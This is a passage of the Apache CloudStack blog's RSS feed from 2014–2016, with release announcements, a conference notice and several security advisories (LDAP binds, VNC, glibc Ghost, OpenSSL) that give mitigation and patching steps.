            <content:encoded><![CDATA[<p>The first <a href="http://cloudstackcollab.org" target="_blank" rel="noopener noreferrer">Apache CloudStack™ Collab conference</a> of 2016 on June 1-3 2016 in beautiful Montreal, Canada. This conference is aimed at developers, operators and users to discuss and evolve the open source software project, its functionality and real world operability. Part talks, part workshops, part hackathon, this event will present a great opportunity for attendees and sponsors alike. CloudOps is thrilled to host this conference at its event space, Centre cloud.ca in the heart of the city.</p><ul><li>Early-bird pricing is on now until May 1st. To buy tickets: <b><a href="https://www.eventbrite.ca/e/apache-cloudstacktm-conference-montreal-2016-tickets-23815552960" target="_blank" rel="noopener noreferrer">evenbrite</a></b></li><li>Announcements will be made in the coming weeks regarding speakers and topics. Stay tuned…</li><li>For more info: <b><a href="http://cloudstackcollab.org" target="_blank" rel="noopener noreferrer">http://cloudstackcollab.org</a></b></li></ul><h4>See you in June!</h4>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Two late-announced security advisories]]></title>
            <link>https://cloudstack.apache.org/blog/two_late_announced_security_advisories</link>
            <guid>https://cloudstack.apache.org/blog/two_late_announced_security_advisories</guid>
            <pubDate>Fri, 05 Feb 2016 00:00:00 GMT</pubDate>
            <description><![CDATA[Today I sent out two CloudStack-related security advisories: CVE-2015-3251 (related to VM credential exposure) and CVE-2015-3252 (related to VNC authentication). Details about these issues can be found on the CloudStack user and dev mailing lists, as well as on the Full Disclosure and BUGTRAQ security mailing lists.]]></description>
            <content:encoded><![CDATA[<p>Today I sent out two CloudStack-related security advisories: CVE-2015-3251 (related to VM credential exposure) and CVE-2015-3252 (related to VNC authentication). Details about these issues can be found on the CloudStack user and dev mailing lists, as well as on the Full Disclosure and BUGTRAQ security mailing lists.</p><p>While these vulnerabilities are of moderate and low severity (respectively), the reason for this post is because the advisories were announced approximately 5 months after the first release of the patches in 4.5.2. This is personally embarrassing, unacceptable, and in a more severe case could be downright dangerous.</p><div>What happened?</div><p>The CloudStack security team worked through the related vulnerabilities through the summer of 2015. We had advisory drafts, patches, and mitigations all ready well before the release. Far enough ahead, actually, that we forgot about the release and weren't paying attention to the release (at least I wasn't - I know others were), and didn't send out the advisories at the appropriate time. Part of this is due to me having become an unofficial lead/spokesperson for the security team; In the past there has been at least one occasion when others released advisories when I was not available, but usually I'm coordinating issues and publishing announcements.</p><p>Luckily, the CloudStack Security Team works with and under the direction of the ASF security team. During one of their periodic reviews, they noticed CloudStack had loose ends on these two advisories, and asked for an update. Earlier today I realized the advisories had not been released, so here we are. </p><div>How will we improve?</div><p>Obviously, we don't want to be in this situation again. Here's some steps we're taking to minimize the chance of a repeat performance:</p><ul><li> I've modified the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Release+Procedure" target="_blank" rel="noopener noreferrer">Release Procedure</a> to specifically request the release manager give the security team a heads up that a release is about to be announced. This can be a simple non-blocking email that shouldn't slow down the release process, but still ensure that we're aware of the upcoming release.</li><li>I'll be ensuring that other members of the security team feel comfortable crafting and releasing advisories. Like the rest of CloudStack and other ASF projects, the CloudStack security team does not have a named leader and should be able to operate if I or others are unavailable.</li></ul><p>In the past I've referred to CloudStack as "critical infrastructure" - CloudStack powers infrastructure clouds for many large cloud providers. We take information security seriously, realizing that many depend upon our work. Vulnerabilities happen in most software at some point in time - the important part is how they are responded to. While in this case we did respond quickly to the issues and created and applied patches, we let the community down by not quickly releasing the advisories. This is an unfortunate chink in our armor, but we'll be taking steps to ensure it doesn't happen again.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Apache CloudStack 4.6 is released]]></title>
            <link>https://cloudstack.apache.org/blog/apache_cloudstack_4_6_is</link>
            <guid>https://cloudstack.apache.org/blog/apache_cloudstack_4_6_is</guid>
            <pubDate>Wed, 02 Dec 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache Software Foundation (ASF), the all-volunteer developers, stewards, and incubators of more than 350 Open Source projects and initiatives, announced today the availability of Apache™ CloudStack™ v4.6, the turnkey Open Source cloud computing software platform used for creating private-, public-, and hybrid cloud environments.]]></description>
            <content:encoded><![CDATA[<p>The Apache Software Foundation (ASF), the all-volunteer developers, stewards, and incubators of more than 350 Open Source projects and initiatives, announced today the availability of Apache™ CloudStack™ v4.6, the turnkey Open Source cloud computing software platform used for creating private-, public-, and hybrid cloud environments.</p><p>Apache CloudStack clouds enable billions of dollars' worth of business transactions annually across their clouds, and its maturity and stability has led it to has become the Open Source platform for many service providers to set up on-demand, elastic public cloud computing services, as well as enterprises and others to set up a private or hybrid cloud for use by their own employees.</p><p>"This 4.6 release of Apache CloudStack marks a significant shift in how we release CloudStack," said Sebastien Goasguen, Vice President of Apache CloudStack. "With a focus on quality and speed of releasing software, we implemented a new release workflow which allows us to have a production-ready release branch all the time, and allows us to quickly release new features. From now on, CloudStack will be released much faster without regression and with increased quality in each version."</p><p>Recognized as the Cloud orchestration platform that "just works", CloudStack includes an intuitive user interface and rich APIs for managing the compute, networking, software, and storage infrastructure resources.</p><b><p>Under the Hood</p></b><p>CloudStack v4.6 reflects dozens of new features and improvements, including:</p><ul><li>NuageVsp Network Plugin</li><li>Bind integration with Globo DNSAPI</li><li>SAML 2.0 Plugin</li><li>Managed storage for KVM</li><li>Improved CloudByte Storage Plugin</li><li>Use SSH for commands sent to Virtual-Router</li><li>Baremetal Advanced Networking Support</li><li>Instance Password Generation length can now be changed</li></ul><p>A complete overview of all new enhancements are detailed in the project <a href="http://docs.cloudstack.apache.org/projects/cloudstack-release-notes/en/4.6.0/index.html" target="_blank" rel="noopener noreferrer">release notes</a></p><p>CloudStack v4.6 reflects more than <a href="http://docs.cloudstack.apache.org/projects/cloudstack-release-notes/en/4.6.0/fixed_issues.html" target="_blank" rel="noopener noreferrer">200 bug fixes</a> from previous releases.</p><p>Apache CloudStack is in use/production at thousands of organizations worldwide that includes BIT.Group GmbH, BT Cloud, China Telecom, CloudOps, DATACENTER Services, DataCentrix, Datapipe, EVRY, Exaserve, Exoscale, IDC Frontier, iKoula, Imperial College, INRIA, KDDI, Korea Telecom, LeaseWeb, M5 Hosting Inc., Melbourne University, Reliable Networks, Redbridge, SafeSwiss Cloud, Schuberg Philis, ShapeBlue, Tranquil Hosting, Trader Media Group, University of Cologne, and the University of Sao Paulo, among others.</p><p>"With the 4.6 release the Apache CloudStack continues to mature adding important new functionality that will benefit CloudCentral's customers," said Kristoffer Sheather, Founder &amp; Chief of Australian cloud services provider CloudCentral, who have been using Apache CloudStack since 2010. "The new Redundant Routers for Virtual Private Cloud (VPC) networks feature will ensure continuous availability of customer VPC networks, and Browser Based Template &amp; Volume Upload will make it easier for our customers to import and use their choice of operating system ISO images and import VM templates from other cloud systems."</p><p>"CloudOps is very excited about the release of Apache CloudStack 4.6, which represents significant improvements in feature set and quality," said Ian Rae, CEO of CloudOps. "We are proud of our involvement in this landmark release and look forward to supporting our customers achieve operational success in upgrading to and operating clouds based on this release. Apache CloudStack is the best kept secret in open source cloud computing and has a global user base of cloud operators many of whom contribute to the project."</p><p>"The 4.6 release of Apache CloudStack brings new features and fixes bugs which are critical for our Aurora cloud offering at PCextreme," said Wido den Hollander, CEO of PCextreme. "We've worked hard with the community to get 4.6 released. The committers working at PCextreme resolved multiple issues and also introduced new features in CloudStack including a new StatsCollector output to Graphite and better support for CEPH. This new release allows us to grow our cloud even further."</p><p>"I'm very excited with launch of the Apache CloudStack version 4.6," said Cyrano Rizzo, CIO of the University of Sao-Paulo. "This version brought many new features and benefits, such as the case in resilience with the new redundant router for VPC, the capability to rapid deployment, demo and test to run the Apache CloudStack inside Docker that will speed the growth, the possibility to manage the resources with Graphite, the ease of upload templates and volumes, among many others, this version also brought many improvements, I'm very happy with one in particular that makes SAML plugin to production grade, this functionality is helping me to build a huge project called interCloud that intend to federate many public universities across the Brazil with Single Sign On."</p><p><b>Get Involved!</b></p><p>Apache CloudStack welcomes contribution and community participation through mailing lists as well as attending face-to-face MeetUps, developer trainings, and user events. Catch Apache CloudStack in action at the next <a href="https://www.eventbrite.co.uk/e/cloudstack-european-user-group-tickets-19726408218" target="_blank" rel="noopener noreferrer">CloudStack European User Group on 3 March 2016 in London</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[CloudStack and OpenSSL CVE-2015-1793]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack_and_openssl_cve_2015</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack_and_openssl_cve_2015</guid>
            <pubDate>Fri, 10 Jul 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[Updated July 11th, 2015:]]></description>
            <content:encoded><![CDATA[<b>Updated July 11th, 2015:</b><p>After reviewing CloudStack components and seeing <a href="https://security-tracker.debian.org/tracker/CVE-2015-1793" target="_blank" rel="noopener noreferrer">Debian's advisory</a> on CVE-2015-1793 (CloudStack's "system VM" is Debian based), it looks like CloudStack is not affected by this vulnerability.</p><p>Original post follows...</p><p>On the 9th of July, the OpenSSL project announced a high severity vulnerability within the OpenSSL library. While this particular vulnerability does not seem to affect SSL servers, there are security issues with SSL clients powered by OpenSSL.  Because of this, we suspect there may be issues with parts of CloudStack which initiate SSL connections.</p><p>At this point we are still reviewing which particular versions of OpenSSL are used by different versions of CloudStack. Once this review is complete, we will further update the community and this post as to our next steps.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[CloudStack and the "Ghost" glibc vulnerability]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack_and_the_ghost_glibc</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack_and_the_ghost_glibc</guid>
            <pubDate>Wed, 28 Jan 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[UPDATE: mitigation instructions have been improved (don't update openswan) and we forgot to mention rebooting.]]></description>
            <content:encoded><![CDATA[<b>UPDATE: mitigation instructions have been improved (don't update openswan) and we forgot to mention rebooting.</b><br><b>UPDATE: Links to updated System VM templates are now below</b><br><br><p>Yesterday, a buffer overflow vulnerability was announced in glibc that affects most current Linux distributions. In CloudStack, the system VMs contain a vulnerable version of glibc. </p><p>CloudStack community members have built an updated system VM template, which ShapeBlue is hosting at <a href="http://packages.shapeblue.com/systemvmtemplate/" target="_blank" rel="noopener noreferrer">http://packages.shapeblue.com/systemvmtemplate/</a> (More information on the packages at <a href="http://shapeblue.com/packages" target="_blank" rel="noopener noreferrer">http://shapeblue.com/packages</a>). </p><p>For instructions on how to update the SystemVM template in CloudStack, see <a href="http://support.citrix.com/article/CTX200024" target="_blank" rel="noopener noreferrer">here</a>.</p><p>For those who wish to patch their running system VMs, ssh into each one and run:</p><div class="codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_biex"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">apt-mark hold openswan apt-get clean apt-get update &amp;&amp; apt-get upgrade</span><br></span></code></pre><div class="buttonGroup__atx"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_eSgA" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_y97N"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_LjdS"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div><p>After updating glibc, the system will need to be rebooted.</p><p>Information about how to connect to your System VMs is available <a href="https://cloudstack.apache.org/docs/en-US/Apache_CloudStack/4.2.0/html/Admin_Guide/accessing-system-vms.html" target="_blank" rel="noopener noreferrer">here</a>.</p><h2>Other CloudStack-related systems may be affected!</h2><p>Please review security updates from Linux distributions you use on your management server, storage systems, hypervisors, as well as other Linux VMs and bare-metal systems running in your environments. <a href="http://www.cyberciti.biz/faq/cve-2015-0235-patch-ghost-on-debian-ubuntu-fedora-centos-rhel-linux/" target="_blank" rel="noopener noreferrer">This post</a> provides instructions for determining if a system is vulnerable, as well as patching directions for common Linux distributions.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[[ANNOUNCE] Announcing Apache CloudStack 4.3.2]]></title>
            <link>https://cloudstack.apache.org/blog/announce_announcing_apache_cloudstack_4</link>
            <guid>https://cloudstack.apache.org/blog/announce_announcing_apache_cloudstack_4</guid>
            <pubDate>Fri, 09 Jan 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[The Apache CloudStack project is pleased to announce the 4.3.2 release]]></description>
            <content:encoded><![CDATA[<p>The Apache CloudStack project is pleased to announce the 4.3.2 release of the CloudStack cloud orchestration platform. This is a minor release of the 4.3 branch which released on March 25, 2014. The 4.3.2 release contains more than 100 bug fixes since the 4.3.1 release. As a bug fix release, no new features are included in 4.3.2.</p><p>As a minor release it is a simple upgrade from 4.3.0 or 4.3.1 with no architectural changes.</p><p><strong>Documentation</strong></p><p>The 4.3.2 release notes includes full list of corrected issues as well as upgrade instructions from previous versions of Apache CloudStack. Please see the Release Notes for a full list of corrected issues and upgrade instructions.</p><p><a href="http://docs.cloudstack.apache.org/projects/cloudstack-release-notes/en/4.3.2/" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/projects/cloudstack-release-notes/en/4.3.2/</a></p><p>The official installation, administration and API documentation for each release are available on our Documentation Page.</p><p><a href="http://docs.cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://docs.cloudstack.apache.org/</a></p><p><strong>Downloads</strong></p><p>The official source code for the 4.3.2 release can be downloaded from our Downloads Page.</p><p><a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a></p><p><strong>About Apache CloudStack</strong></p><p>Apache CloudStack is an integrated Infrastructure-as-a-Service (IaaS) software platform that allows users to build feature-rich public and private cloud environments. CloudStack includes an intuitive user interface and rich APIs for managing the compute, networking, software, and storage infrastructure resources. The project became an Apache top level project in March 2013.</p><p>For additional marketing or communications information, please contact the marketing mailing list: marketing@cloudstack.apache.org</p><p>To learn how to join and contribute to the Apache CloudStack community please visit our website: <a href="http://cloudstack.apache.org" target="_blank" rel="noopener noreferrer">cloudstack.apache.org</a></p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[[CVE-2014-7807] Apache CloudStack unauthenticated LDAP binds]]></title>
            <link>https://cloudstack.apache.org/blog/cve_2014_7807_apache_cloudstack</link>
            <guid>https://cloudstack.apache.org/blog/cve_2014_7807_apache_cloudstack</guid>
            <pubDate>Mon, 08 Dec 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[CVE-2014-7807: Apache CloudStack unauthenticated LDAP binds]]></description>
            <content:encoded><![CDATA[<p>CVE-2014-7807: Apache CloudStack unauthenticated LDAP binds</p><p>CVSS:<br>7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P</p><p>Vendors:<br>The Apache Software Foundation<br>Citrix, Inc.</p><p>Versions Afffected:<br>Apache CloudStack 4.3, 4.4</p><p>Description:<br>Apache CloudStack may be configured to authenticate LDAP users. When so configured, it performs a simple LDAP bind with the name and password provided by a user.  Simple LDAP binds are defined with three mechanisms (RFC 4513): 1) username and password; 2) unauthenticated if only a username is specified; and 3) anonymous if neither username or password is specified.  Currently, Apache CloudStack does not check if the password was provided which could allow an attacker to bind as an unauthenticated user.</p><p>Mitigation:<br>Users of Apache CloudStack 4.4 and derivatives should update to the latest version (4.4.2)</p><p>An updated release for Apache CloudStack 4.3.2 is in testing. Until that is released, we recommend following the mitigation below:</p><p>By default, many LDAP servers are not configured to allow unauthenticated binds.  If the LDAP server in use allow this behaviour, a potential interim solution would be to consider disabling unauthenticated binds.</p><p>Credit:<br>This issue was identified by the Citrix Security Team.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[The Apache CloudStack Project Announces Apache™ CloudMonkey™ v5.3.0]]></title>
            <link>https://cloudstack.apache.org/blog/the_apache_cloudstack_project_announces1</link>
            <guid>https://cloudstack.apache.org/blog/the_apache_cloudstack_project_announces1</guid>
            <pubDate>Tue, 11 Nov 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[Command Line Interface Tool Simplifies Apache CloudStack Configuration and Management]]></description>
            <content:encoded><![CDATA[<em><h2>Command Line Interface Tool Simplifies Apache CloudStack Configuration and Management</h2></em><p>11 November 2014 —Apache CloudStack, the mature, turnkey Open Source cloud computing software platform used for creating private, public, and hybrid cloud environments, today announced Apache CloudMonkey v5.3.0, the latest feature release of its command line interface tool.</p><p>CloudMonkey is written in Python, and can be used both as an interactive shell and as a command line tool that simplifies CloudStack configuration and management.</p><p>Apache CloudMonkey v5.3.0 is the latest feature release of the 5.x line that was first released in September 2013. Some of the new features and changes include:</p><ul><li>Unicode support in CloudMonkey;</li><li>Better autocompletion for API arguments, filter arguments and config options;</li><li>Current server profile is displayed on the prompt;</li><li>Changing server profile prints masked values of passwords and keys;</li><li>New command line argument -d for display options such as default, json and table;</li><li>New config option “verifysslcert” that enables/disables SSL certificate checking when making HTTP API calls;</li><li>CloudMonkey outputs without color on terminal in non-interactive mode;</li><li>Better error handling, errors written to stderr and non-zero exit codes in case of error;</li><li>Several bugfixes related to networking, server profiles and unicode string handling</li></ul><p></p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="downloadsanddocumentation">Downloads and Documentation<a href="#downloadsanddocumentation" class="hash-link" aria-label="Direct link to Downloads and Documentation" title="Direct link to Downloads and Documentation">​</a></h3><p></p><p>The official source code for CloudMonkey v5.3.0 can be downloaded from <a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a>. A community-maintained distribution is available at the Python Package Index (PyPi) at <a href="http://pypi.python.org/pypi/CloudMonkey/" target="_blank" rel="noopener noreferrer">http://pypi.python.org/pypi/CloudMonkey/</a></p><p>CloudMonkey's usage is documented at <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+CloudMonkey+CLI" target="_blank" rel="noopener noreferrer">https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+CloudMonkey+CLI</a>Package documentation can be found at <a href="http://pythonhosted.org/cloudmonkey/" target="_blank" rel="noopener noreferrer">http://pythonhosted.org/cloudmonkey/</a></p><p></p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="availabilityandoversight">Availability and Oversight<a href="#availabilityandoversight" class="hash-link" aria-label="Direct link to Availability and Oversight" title="Direct link to Availability and Oversight">​</a></h3><p></p><p>As with all Apache products, CloudMonkey is released under the Apache License v2.0, and is overseen by a self-selected team of active contributors to the project. The Apache CloudStack Project Management Committee (PMC) guides the Project's day-to-day operations, including community development and product releases.</p><p></p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="aboutapachecloudstack">About Apache CloudStack<a href="#aboutapachecloudstack" class="hash-link" aria-label="Direct link to About Apache CloudStack" title="Direct link to About Apache CloudStack">​</a></h3><p></p><p>Apache CloudStack is a mature, turnkey integrated Infrastructure-as-a-Service (IaaS) Open Source software platform that allows users to build feature-rich public and private cloud environments. Hailed by Gartner Group as "a solid product", CloudStack includes an intuitive user interface and rich APIs for managing the compute, networking, software, and storage infrastructure resources. CloudStack entered the Apache Incubator in April 2012 and became an Apache Top-level Project in March 2013. For downloads, documentation, and ways to become involved with Apache CloudStack, visit <a href="http://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/</a> and <a href="https://twitter.com/CloudStack" target="_blank" rel="noopener noreferrer">https://twitter.com/CloudStack</a></p><h1></h1>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[Announcing Apache™ CloudStack™ v4.4.1]]></title>
            <link>https://cloudstack.apache.org/blog/announcing_apache_cloudstack_v4_4</link>
            <guid>https://cloudstack.apache.org/blog/announcing_apache_cloudstack_v4_4</guid>
            <pubDate>Thu, 23 Oct 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[Mature, easy-to-deploy Open Source Cloud computing software platform boasts improved efficiency and performance.]]></description>
            <content:encoded><![CDATA[<em><h2>Mature, easy-to-deploy Open Source Cloud computing software platform boasts improved efficiency and performance.</h2></em><p>The Apache CloudStack project announced the immediate availability of Apache CloudStack v4.4.1, the latest version of the turnkey Open Source cloud computing software platform used for creating private-, public-, and hybrid cloud environments.</p><p>Apache CloudStack clouds enable billions of dollars' worth of business transactions annually across their clouds, and its maturity and stability has led it to has become the Open Source platform for many service providers to set up on-demand, elastic public cloud computing services, as well as enterprises and others to set up a private or hybrid cloud for use by their own employees.</p><p>"We are delighted to be releasing version 4.4.1 of Apache CloudStack," said Giles Sirett, member of the Apache CloudStack Project Management Committee. "This latest version of CloudStack reflects months of hard work by our diverse developer community and brings even more features to help our service-provider and enterprise users enhance their cloud platforms. Apache CloudStack continues to grow in both deployments and developer community size, and is the platform of choice for thousands of organisations that need to build IaaS environments quickly and securely with a proven, production-grade, technology."</p><p>Lauded by Gartner Group, CloudStack includes an intuitive user interface and rich APIs for managing the compute, networking, software, and storage infrastructure resources.</p><p>CloudStack v4.4.1 reflects dozens of new features and improvements, including:</p><ul><li>Improved Storage Management</li><li>Virtual Private Cloud tiers can now span guest networks across availability zones</li><li>Support for VMware Distributed Resource Scheduler</li><li>Improved Support for Hyper-V Zones, VPC and Storage Migration</li></ul><p>A complete overview of all new enhancements can be found in the project release notes at http://docs.cloudstack.apache.org/projects/cloudstack-release-notes/en/4.4.1/</p><p>CloudStack has been used by thousands of organizations worldwide and is in use/production at Alcatel-Lucent, Autodesk, BT Cloud, China Telecom, DATACAENTER Services, DataPipe, Edmunds.com, Exoscale, GreenQloud, Hokkaido University, IDC Frontier, Ikoula, KDDI, KT/Korea Telecom, LeaseWeb, NTT, Orange, PCextreme, Schuberg Philis, Shopzilla, Slovak Telekom, SunGard AS, Taiwan Mobile, Tata, Trader Media Group, TomTom, University of Melbourne, University of Sao Paolo, Verizon, WebMD and Zynga, among others.</p><p>CloudStack originated at Cloud.com, which was acquired by Citrix in 2011. CloudStack was submitted to the Apache Incubator in April 2012 and graduated as an Apache Software Foundation Top-level Project in March 2013.</p><p></p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="availability">Availability<a href="#availability" class="hash-link" aria-label="Direct link to Availability" title="Direct link to Availability">​</a></h3><p></p><p>CloudStack v4.4.1 is available immediately as a free download from http://cloudstack.apache.org/downloads.html. Apache CloudStack software is released under the Apache License v2.0.</p><p></p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="governanceandoversight">Governance and Oversight<a href="#governanceandoversight" class="hash-link" aria-label="Direct link to Governance and Oversight" title="Direct link to Governance and Oversight">​</a></h3><p></p><p>Apache CloudStack is overseen by a self-selected team of active contributors to the project. A Project Management Committee (PMC) guides the Project's day-to-day operations, including community development and product releases.</p><p></p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="getinvolved">Get Involved!<a href="#getinvolved" class="hash-link" aria-label="Direct link to Get Involved!" title="Direct link to Get Involved!">​</a></h3><p></p><p>Apache CloudStack welcomes contribution and community participation through mailing lists as well as attending face-to-face MeetUps, developer trainings, and user events. Catch CloudStack in action at the CloudStack Collaboration Conference, the official user/developer conference of the Apache CloudStack community, 19-21 November 2014 in Budapest, Hungary @CCCEU14 and <a href="http://cloudstackcollab.org" target="_blank" rel="noopener noreferrer">http://cloudstackcollab.org</a></p><p></p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="aboutapachecloudstack">About Apache CloudStack<a href="#aboutapachecloudstack" class="hash-link" aria-label="Direct link to About Apache CloudStack" title="Direct link to About Apache CloudStack">​</a></h3><p></p><p>Apache CloudStack is a mature, turnkey integrated Infrastructure-as-a-Service (IaaS) Open Source software platform that allows users to build feature-rich public and private cloud environments. Hailed by Gartner Group as "a solid product", CloudStack includes an intuitive user interface and rich APIs for managing the compute, networking, software, and storage infrastructure resources. CloudStack entered the Apache Incubator in April 2012 and became an Apache Top-level Project in March 2013. For downloads, documentation, and ways to become involved with Apache CloudStack, visit <a href="http://cloudstack.apache.org/" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/</a> and <a href="https://twitter.com/CloudStack" target="_blank" rel="noopener noreferrer">https://twitter.com/CloudStack</a></p><h1></h1><p>© The Apache Software Foundation. "Apache", "CloudStack", "Apache CloudStack", the Apache CloudStack logo, and the Apache CloudStack Cloud Monkey logo are registered trademarks or trademarks of The Apache Software Foundation. All other brands and trademarks are the property of their respective owners.</p>]]></content:encoded>
            <category>announcement</category>
        </item>
        <item>
            <title><![CDATA[CloudStack's realhostip service to retire in less than a week!]]></title>
            <link>https://cloudstack.apache.org/blog/cloudstack_s_realhostip_service_to</link>
            <guid>https://cloudstack.apache.org/blog/cloudstack_s_realhostip_service_to</guid>
            <pubDate>Fri, 26 Sep 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[As previously mentioned, the realhostip.com dynamic DNS service is being retired at the end of September.]]></description>
            <content:encoded><![CDATA[<p>As <a href="https://blogs.apache.org/cloudstack/entry/realhostip_service_is_being_retired" target="_blank" rel="noopener noreferrer">previously</a> <a href="https://blogs.apache.org/cloudstack/entry/realhostip_reprieve" target="_blank" rel="noopener noreferrer">mentioned</a>, the realhostip.com dynamic DNS service is being retired at the end of September.</p><p>Citrix is reporting that they are still seeing DNS queries against the domain; Those who have not reconfigured their CloudStack installations will find part of their installations breaking once the realhostip service is retired on September 30th.</p><p>If you are running a version of CloudStack older than 4.3 and you have not reconfigured your installation to not use realhostip.com, please take the time to do so now before users are affected. Instructions are available in the <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/Procedure+to+Replace+realhostip.com+with+Your+Own+Domain+Name" target="_blank" rel="noopener noreferrer">CloudStack Wiki</a> as well as other blogs on the Internet.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Announcing Apache™ CloudMonkey™ v5.2.0]]></title>
            <link>https://cloudstack.apache.org/blog/announcing_apache_cloudmonkey_v5_2</link>
            <guid>https://cloudstack.apache.org/blog/announcing_apache_cloudmonkey_v5_2</guid>
            <pubDate>Thu, 28 Aug 2014 00:00:00 GMT</pubDate>
            <description><![CDATA[Command Line Interface Tool Simplifies Apache CloudStack Configuration and Management]]></description>
            <content:encoded><![CDATA[<em><h2>Command Line Interface Tool Simplifies Apache CloudStack Configuration and Management</h2></em><p>28 August 2014 —Apache CloudStack, the mature, turnkey Open Source cloud computing software platform used for creating private, public, and hybrid cloud environments, today announced Apache CloudMonkey v5.2.0, the latest feature release of its command line interface tool.</p><p>CloudMonkey is written in Python, and can be used both as an interactive shell and as a command line tool that simplifies CloudStack configuration and management.</p><p>Apache CloudMonkey v5.2.0 is the latest feature release of the 5.x line that was first released in September 2013. Some of the new features and changes include:</p><ul><li>Multiple server profiles where users can use CloudMonkey against different CloudStack management servers and switch between them using a profile option;</li><li>A default profile under the section [local] is added with default values;</li><li>Some bugfixes related to network requests, error handling, JSON decoding and shell interactivity;</li><li>Every time 'set' is called, CloudMonkey will write the config and reload config file;</li><li>Configuration options 'protocol', 'host', 'port', 'path' are deprecated now but setting them is still allowed which sets a single "url" option, in the config file the [server] section is deprecated now and CloudMonkey won’t read values from this section anymore but instead read from current server profile;</li><li>Missing key/values are automatically set with defaults by CloudMonkey;</li><li>During installation and upgrades, it will detect the platform to install either pyreadline (Windows) or readline (OSX and Linux);</li></ul><p></p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="downloadsanddocumentation">Downloads and Documentation<a href="#downloadsanddocumentation" class="hash-link" aria-label="Direct link to Downloads and Documentation" title="Direct link to Downloads and Documentation">​</a></h3><p></p><p>The official source code for CloudMonkey v5.2.0 can be downloaded from <a href="http://cloudstack.apache.org/downloads.html" target="_blank" rel="noopener noreferrer">http://cloudstack.apache.org/downloads.html</a>. A community-maintained distribution is available at the Python Package Index (PyPi) at <a href="http://pypi.python.org/pypi/CloudMonkey/" target="_blank" rel="noopener noreferrer">http://pypi.python.org/pypi/CloudMonkey/</a></p><p>CloudMonkey's usage is documented at <a href="https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+CloudMonkey+CLI" target="_blank" rel="noopener noreferrer">https://cwiki.apache.org/confluence/display/CLOUDSTACK/CloudStack+CloudMonkey+CLI</a>Package documentation can be found at <a href="http://pythonhosted.org/cloudmonkey/" target="_blank" rel="noopener noreferrer">http://pythonhosted.org/cloudmonkey/</a></p><p></p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="availabilityandoversight">Availability and Oversight<a href="#availabilityandoversight" class="hash-link" aria-label="Direct link to Availability and Oversight" title="Direct link to Availability and Oversight">​</a></h3><p></p><p>As with all Apache products, CloudMonkey is released under the Apache License v2.0, and is overseen by a self-selected team of active contributors to the project.  The Apache CloudStack Project Management Committee (PMC) guides the Project's day-to-day operations, including community development and product releases.</p><p></p><h3 class="anchor anchorWithStickyNavbar_LWe7" id="aboutapachecloudstack">About Apache CloudStack<a href="#aboutapachecloudstack" class="hash-link" aria-label="Direct link to About Apache CloudStack" title="Direct link to About Apache CloudStack">​</a></h3><p></p><p>Apache CloudStack is a mature, turnkey integrated Infrastructure-as-a-Service (IaaS) Open Source software platform that allows users to build feature-rich public and private cloud environments. Hailed by Gartner Group as "a solid product", CloudStack includes an intuitive user interface and rich APIs for managing the compute, networking, software, and storage infrastructure resources. CloudStack entered the Apache Incubator in April 2012 and became an Apache Top-level Project in March 2013. For downloads, documentation, and ways to become involved with Apache CloudStack, visit <a href="http://cloudstack.apache.org/" target="_blank" 